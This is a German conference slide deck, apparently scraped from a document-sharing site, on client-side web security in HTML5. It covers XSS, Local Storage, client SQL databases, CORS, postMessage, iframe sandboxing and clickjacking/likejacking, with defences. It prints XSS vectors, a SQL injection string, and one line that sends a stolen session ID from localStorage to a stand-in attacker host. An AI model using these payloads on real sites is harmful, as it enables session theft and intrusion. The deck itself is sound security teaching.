Upload
others
View
14
Download
0
Embed Size (px)
Citation preview
Client Security im Web 2.0 und mit HTML5
Carsten Eilers / www.ceilers-it.de
Vorstellung• Berater für IT-Sicherheit
– Web Security (Pentests, Beratung, ...)– ...
• Autor– PHP Magazin, Entwickler Magazin– Blog: www.ceilers-news.de – ...
• Schwachstellen- und Exploitsammlung
Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlußbemerkungen
Es war einmal... (1)
• Ajax in Action 2007: „AJAX, aber sicher!“– XSS und CSRF– JavaScript Port Scanner– Schwachstellenscanner Jikto– JavaScript-Malware allgemein– JavaScript-/JSON-Hijacking– „Fazit“: Verhindern Sie XSS & CSRF
Es war einmal... (2)• Ajax in Action 2008
„Sicherheit und der Ajax-Client“– SQL-Injection via Client– Angriffe auf Presentation Layer– Look&Feel-Hacks– Ganz neu: Clickjacking
• (Einzige) Gegenmaßnahme: Framebuster
Die Gegenwart• HTML5 bringt
– neue Funktionen– neue Attribute– neue Tags
• Clickjacking & Likejacking sind Alltag
Was ist HTML5?• Die nächste Version von HTML• Fast eine Entwicklungsumgebung• Drei Aspekte:
– Inhalt (HTML5)– Präsentation (CSS)– Interaktion mit dem Benutzer (JavaScript)
• Kein Standard / „Work in progress“
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & XSS (1)
Kein Standard
=> Jeder macht, was er will wie er will
Unterschiedliche Interpretationen sind immer unsicher
HTML5 & XSS (2)• Neue Tags
– z.B. audio- und video-Tags:<audio src=1 onerror=“alert(1)“><video src=1 onerror=“alert(1)“>
• Geänderte und neue Attribute für alte Tags– z.B. Attribute in schließenden Tags:</a onmouseover=“alert(1)“>
HTML5 & XSS (3)z.B. autofocus-Attribut:
• <input autofocus onfocus=alert(1)>
• <select autofocus onfocus=alert(1)>
• <textarea autofocus onfocus=alert(1)>
• <keygen autofocus onfocus=alert(1)>
HTML5 & XSS (4)• autofocus-Attribut bringt Element mit
schädlichen Inhalt in den Focus
• poster- und srcdoc-Attribut erlauben Verweis auf schädliche externe Ressourcen
HTML5 & XSS (5)• SVG ist eine Grafik?
• SVG ist auch ein Einfallstor für XSS:
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
• z.B. in Firefox < 4
HTML5 & XSS (6)• Lange Liste im
„HTML5 Security Cheatsheet“
• Insbesondere Blacklists gefährdet • Auch Whitelists anpassen
– z.B. die früher harmlosen schließenden Tags wie </a>
HTML5 & XSS (7)
Wann haben Sie das letzte Mal die Schutzmaßnahmen „alter“ Anwendungen aktualisiert?
Oder auch nur angesehen?
„Never touch a running system“! ? ??
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
Local & Session Storage• 5-10 MB Speicher als Key-Value-Paare
(Cookie 4 KB)
• Inhalt wird nicht wie bei Cookies an den Server gesendet
• Session Storage an Fenster gebunden,Local Storage ist persistent
HTML5 & Local Storage (1)• Zugriff an Hostname gebundengeocities.com/gute-seiten vs.geocities.com/boese-seiten
• Zugriff über XSS<script>document.write("<img src='http://angreifer.example/klau.php?geklaut="+localStorage.getItem('SessionID')+"'>");</script>
HTML5 & Local Storage (2)• Zugriff durch Schadsoftware auf dem
Client• Zugriff durch andere Benutzer
• Z.B. Google Mail: Statt Cookies ausspähen o.Ä. nun direkter Zugriff auf dem Client möglich
HTML5 & Local Storage (3)
Wie erkennt man Angriffe?
Lese-Zugriffe? - Gar nicht!
Manipulationen? - Eigentlich auch nicht!
HTML5 & Local Storage (4)
Beispiel Session-ID:• Cookie mit HTTPOnly-Flag
(und ggf. Secure-Flag)
• Local StorageJavaScript soll zugreifen können!
HTML5 & Local Storage (5)
Immer daran denken:• Daten sind unverschlüsselt,
jeder auf dem Client kann darauf zugreifen
• Daten bleiben „ewig“ erhalten,außer Benutzer oder Anwendung löscht
HTML5 & Local Storage (6)
Schutzmaßnahmen:• Keine Sensitiven Daten speichern
• Löschen nicht vergessen!
HTML5 & Local Storage (7)• Verschlüsselung meist nutzlos
– sowieso nur „Zeitschloss“– Schlüssel auf Client
=> Daten de fakto unverschlüsselt– Schlüssel auf Server
=> keine Offline-Nutzung
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & SQL-Datenbank (1)• SQL-Datenbank auf dem Client =>
SQL-Injection betrifft auch den Client
• Prepared Statements statt zusammengesetzter Strings
• HTML5 Database API hilft
HTML5 & SQL-Datenbank (2)executeSql("SELECT spalte FROM tabelle WHERE wert=" + eingabe);
executeSql("SELECT spalte FROM tabelle WHERE wert=?", [eingabe]);
Eingabe kein String, sondern Literal• 'nix' OR 1=1
HTML5 & SQL-Datenbank (3)
Auch ohne SQL-Injection gefährdet
• Same Origin Policy schützt:– Daten über HTTPS gespeichert
=> Zugriff nur über HTTPS möglich– Besser als 'Secure'-Flag für Cookies, da
automatisch
HTML5 & SQL-Datenbank (4)• Same Origin Policy schützt nicht...
– ... vor XSS– ... bei DNS-Hijacking– ... bei Manipulation der lokalen
Namensauflösung– ... bei MitM-Angriff
HTML5 & SQL-Datenbank (5)
Zufällige Namen erschweren Zugriffe• eindeutig, aber nicht erratbar• Onlinenutzung:
Auf Server speichern• Offlinenutzung:
„Offline-Passwort“ + Benutzername = Datenbankname
HTML5 & SQL-Datenbank (6)
Wie erkennt man Angriffe?
Gar nicht
(siehe Local Storage)
HTML5 & Speicher (1)Client-Daten können Schadcode enthalten
• Auf Server prüfen ist selbstverständlich
• Auf Client gegen XSS kodieren– z.B. mit OWASP Enterprise Security API
(owasp-esapi-js)– JavaScript-Funktion kann überschrieben werden!
HTML5 & Speicher (2)Egal ob Local Storage oder SQL-DB:Speichern Sie erst nach Zustimmung des Benutzers!• Gilt nur für den aktuellen Rechner• den sie nicht an vorhandener DB erkennen• Besser:
– Allgemein gültige DB-Tabelle enthält letzte Session-ID– Vergleich mit Wert auf dem Server
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & Wurmkuren (1)Ein XSS-Wurm verbreitet sich über unsere Webanwendung
Bisher: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurm tot
HTML5 & Wurmkuren (2)Ein XSS-Wurm verbreitet sich über unsere Webanwendung
Jetzt: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurmcode auf den Clients löschen,• Wurm tot
Wirklich?
HTML5 & Wurmkuren (3)
Wie lange dauert es, bis sich alle Benutzer mal wieder angemeldet haben?
Bis dahin Gefahr bei Offline-Nutzung
Was ist, wenn der Wurm weiteren Schadcode nachlädt?
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & Session Storage (1)• Wie Local Storage, aber auf Session-
Dauer beschränkt
• Same Origin Policy schützt:– Zugriffe an Domain, Protokoll, Port
gebunden– Kein Schutz vor XSS, aber vor „böser
Umgebung“
HTML5 & Session Storage (2)• Löschen nicht vergessen!
• Beispiel– Webmail, mehrere Tabs offen– In einem wird sich ausgeloggt– Andere bleiben offen– Darin Zugriff auf Session Storage möglich
HTML5 & Session Storage (3)
Mögliche Lösung:• Cookie enthält aktuellen Status• Nach Einloggen Cookie-Wert, Datum
und Uhrzeit in den Session Storage• Bei jedem Zugriff Werte vergleichen• Cookie ist immer & überall aktuell
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & Cross Origin (1)• Cross Origin Requests hebeln Same
Origin Policy aus
• Einschränkung über 'Access-Control-Allow-Origin'-Header– Ein '*' - und die Anwendung ist offen für alle– Vorsicht vor Vereinfachungen
(z.B. eingebundene Konfigurationsdatei)
HTML5 & Cross Origin (2)
'Origin'-Header nicht vertrauenswürdig!
if ($_SERVER['HTTP_ORIGIN'] == "[Server]") {
header('Access-Control-Allow-Origin: [Server]');
// Ausgabe vertraulicher Informationen
} else {
// Ausgabe harmloser Informationen
}
zusätzlich Authentifizierung nötig
HTML5 & Cross Origin (3)
Authentifizierung:• Signalisiert über
'Access-Control-Allow-Credentials'-Header– z.B. in Antwort auf Preflight-Request
• Cross Origin Request mit 'Credentials'-Flag und Authentifizierungsdaten
HTML5 & Cross Origin (4)
Vertrauen, wem Vertrauen gebührt!• Website, die Request sendet, vertraut
auf korrekte Antwort• Website, die Request empfängt,
vertraut auf Autorisierung
Was ist mit kompromittiertem Server?
HTML5 & Cross Origin (5)
Bösartige Requests• Jeder kann Cross Origin Request
senden– Nur vor komplizierten Requests Prüfung
mit Preflight-Request• Browser prüfen nur, ob auf Antwort
zugegriffen werden darf
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten
HTML5 & postMessage() (1)
Ziel: Daten zwischen Skripten aus verschiedenen Domains austauschen• Aufruf mit Daten und Domain des Ziels• Nützlich für Widgets
– Früher: Eingesperrt in iframe oder offen im script-Tag
– Nun: Sicherheit des iframes, Kommunikation des script-Tag
HTML5 & postMessage() (2)Sicherheit: • Browser liefert Daten nur aus, wenn
Domain stimmt• Datenleck nicht möglich
– Zieldomain genau angeben, nicht als '*' • Aber woher kommen die Daten?
– Absender im origin-Attribut prüfen– XSS?
Agenda• HTML5 &
– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()
– iframe im Sandkasten
HTML5 & iframe-sandbox (1)
Neu: sandbox-Attribut für iframes• beschränkt Möglichkeiten für iframes
– Per Default • kein Zugriff auf DOM der einbettenden Seite,
Cookies, Local Storage• kein JavaScript-Code, keine Plugins, keine
Formulare– Gezieltes Aufheben möglich
HTML5 & iframe-sandbox (2)• allow-same-origin
iframe wird wie aus eigener Domain behandelt
• allow-top-navigationOberste Ebene des akt. Inhalts ändern
• allow-formsFormulare sind zulässig
• allow-skriptsSkripte erlaubt, Zugriff auf Umgebung möglich
HTML5 & iframe-sandbox (3)• Zusätzliche Sicherheitsmaßnahme
– Scheitert XSS-Filter, schützt Sandbox vor eingeschleustem Code
• Abgestuftes Freigeben von Funktionen– Werbung in iframe ohne Rechte (Schutz
vor kompromittiertem Adserver)– Widgets in iframe mit JavaScript-
Ausführung– ...
Agenda• Clickjacking &
– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen
Clickjacking (1)• Veröffentlicht 2008 von Jeremiah
Grossmann und Robert Hansen
• Opfer auf Seite des Angreifers locken• Opfer klickt etwas an• Klick landet in unsichtbaren iframe mit
anderer Website
Adobes „Settings Manager“
Agenda• Clickjacking &
– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen
HTML5 & Clickjacking (1)
Black Hat Europe 2010: Paul Stone kombiniert Clickjacking und HTML5
Fragment-Identifier erleichtern das Zielen
Drag&Drop-API erlaubt mehr als das Entführen von Klicks
HTML5 & Clickjacking (2)Texte in Textfelder einfügen• Opfer verschiebt Objekt auf bösartiger Website• Beim Start wird Text des Angreifers über Drag&Drop-
API ausgewählt• Nun unsichtbaren iframe mit angegriffenen Formular
unter Mauszeiger legen• Beim Fallen lassen landet der Text im Formular
Beliebig oft wiederholen, Senden durch Clickjacking
Agenda• Clickjacking &
– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen
HTML5 & Clickjacking (3)
Texte kopieren• Same Origin Policy verhindert Zugriff
auf Inhalte von anderen Domains, z.B. in iframes
• Lösung: Drag&Drop-API und Clickjacking
HTML5 & Clickjacking (4)• unsichtbarer iframe am Mauszeiger• gewünschtes Dokument in den iframe• Opfer muss Verschiebe-Operation starten
(Maustaste drücken)• Dokument so pos., das Ende unter
Mauszeiger• Benutzer muss Maus etwas bewegen
(Text auswählen)• Benutzer muss Maustaste loslassen
HTML5 & Clickjacking (5)Text ist nun selektiert
• Dokument so pos., das selektierter Text unter Mauszeiger liegt
• Drag&Drop-Aktion:Text in Textfeld einfügen, s.o.
Angreifer kann Text z.B. über getData() lesen oder Formular abschicken
HTML5 & Clickjacking (6)• Angreifer bestimmt Positionen• Kann einfach ganze (unbekannte) Seite
kopieren• Auch Zugriff auf Browser-Plugins
möglich
HTML5 & Clickjacking (7)• Alles nur Theorie?• Mai 2011: Cookiejacking im IE
– Schwachstelle im Sicherheitsmodell:file:// erlaubt Zugriff auf lokale DateienKonkret: Die Cookies
– Cookies in iframe laden– Text mit Clickjacking kopieren
– Schwachstelle im IE behoben
Agenda• Clickjacking &
– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen
HTML5 & Clickjacking (8)
HTML-Quelltexte kopieren• Für Angreifer interessant:
versteckte Formularfelder etc.• Editorfunktionen für HTML helfen
(contentEditable-Attribut)
• Text in entsprechenden Bereich auf Angreifer-Seite verschieben
HTML5 & Clickjacking (9)
Ergebnisse unterschiedlich:• IE und Firefox:
Alles zwischen ersten und letztem sichtbaren Element
• Webkit-Browser, z.B. Chrome:Nur sichtbare Elemente, aber inkl. Attributen wie IDs, Klassen, URLs
Agenda• Clickjacking &
– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen
HTML5 & Clickjacking (10)
Framebuster schützt vor Clickjacking:
<script type="text/javascript">
if (top!=self) top.location.href=self.location.href;
</script>
Framebuster lassen sich u.U. umgehen– z.B. im IE mit eingeschränkter Zone
HTML5 & Clickjacking (11)
Framebuster schützte vor Clickjacking:
iframe mit Sandbox-Attribut verhindert Ausführung
Einziger Schutz: "X-FRAME-OPTIONS"-Header
Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen
Buttonjacking (1)
Mai 2010: Erster Clickjacking-Angriff auf Facebooks „Like“-Button
Neuer Name: „Likejacking“
Seitdem liegt Facebook quasi unter Dauerbeschuss
Buttonjacking (2)
Problem des Like-Buttons:• Er soll eingebunden werden• Weder Framebuster noch "X-FRAME-
OPTIONS"-Header möglich• Facebook bekämpft nur Symptome
(bekannte Angriffe)
Buttonjacking (3)Wieso „Likejacking“?Betroffen sind alle derartigen Buttons
Sommer 2011: Twitters „Follow“-ButtonGoogles „1+“-Button
Buttonjacking (4)
Logische Schlussfolgerung:
Vergessen Sie „1-Klick-Buttons“,Verlangen Sie eine Bestätigung
Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen
Schlussbemerkungen• Application Cache:
– Cache Poisoning ist möglich
• Websockets:– Böse Netzverkverbindungen aus dem Browser
heraus, z.B. BEAST (kurzzeitig)
• Zugriff auf Webcam:– Angreifer schaut Ihnen zu
• ...
Fragen?
Vielen Dank...
... für Ihre Aufmerksamkeit
Material und Links aufwww.ceilers-it.de/konferenzen/
The End